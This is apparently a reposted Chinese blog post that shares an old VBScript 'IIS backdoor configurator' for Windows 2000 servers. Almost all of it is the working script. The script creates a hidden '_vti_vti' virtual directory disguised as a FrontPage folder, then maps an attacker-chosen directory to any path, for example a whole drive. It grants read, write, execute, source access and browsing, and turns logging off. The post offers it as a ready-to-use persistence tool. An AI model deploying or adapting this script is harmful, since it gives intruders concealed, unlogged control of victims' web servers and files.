IIS後門設定器

整理以前的資料時看到的，最早的iis後面控制器。

help1="IIS後門設定器 FOR WIN2000 BY 動鲨  3月3号2004 年"

help2="請輸入正确的虛拟目錄名稱和映射的路徑,格式如下"

help3="   cscript.exe iis.vbs 虛拟目錄的名稱  映射的路徑"

help4="例如: cscript.exe iis.vbs lh e:\"

set Args = Wscript.Arguments

 if args.count < 2 then

    wscript.echo help1

    wscript.echo ""

    wscript.echo help2

    wscript.echo help3

    wscript.echo help4

    wscript.quit

 end if

strVRName=args(0) ''虛拟目錄名稱

strRootPath=args(1) ''虛拟目錄路徑

Set checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/3/Root")

  For each VR in checkVirtualDir

   if VR.Name="_vti_vti" Then

     foundt ="yes"

   else

     foundt= "no"

   End If

  Next

if foundt ="yes" then

  wscript.echo "發現已經建立了lhxy目錄，正在設定自定義的虛拟目錄"

  creatvdir

else

  wscript.echo "正在建立lhxy目錄，以及自定義檔案夾，請等待！"

  creatlhxy

end if

wscript.echo "你建立的虛拟目錄名稱是"& strVRName &"，映射的檔案夾是 " & strRootPath &"。"

wscript.echo "恭喜!後門設定全部完成!" 

sub creatlhxy()

    Set objDir=GetObject("IIS://LocalHost/W3SVC/3/Root") 

       Set myDir=objDir.Create("IISWebVirtualDir","_vti_vti")

        myDir.AccessRead=true

        myDir.DefaultDoc=mydir.DefaultDoc

        myDir.AppIsolated=0

        myDir.AccessExecute=true 

        myDir.DontLog=true

        myDir.AccessSource=true

        myDir.EnableDirBrowsing=true

        myDir.setinfo

end sub

sub creatvdir()

    Set objVirtualDir=GetObject("IIS://LocalHost/W3SVC/3/Root/_vti_vti")

      Set VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName)

       VirDir.AccessRead=true

       VirDir.Path=strRootPath

       VirDir.DefaultDoc=""

       VirDir.AccessExecute=true

       VirDir.AccessWrite=true

       VirDir.AccessSource=true 

       VirDir.AppIsolated=0 

       VirDir.DontLog=true 

       VirDir.EnableDirBrowsing=true 

       VirDir.appcreate 0 

       VirDir.CreateProcessAsUser=0

       VirDir.setInfo

wscript.quit

 本文轉自 simeon2005 51CTO部落格，原文連結:http://blog.51cto.com/simeon/76769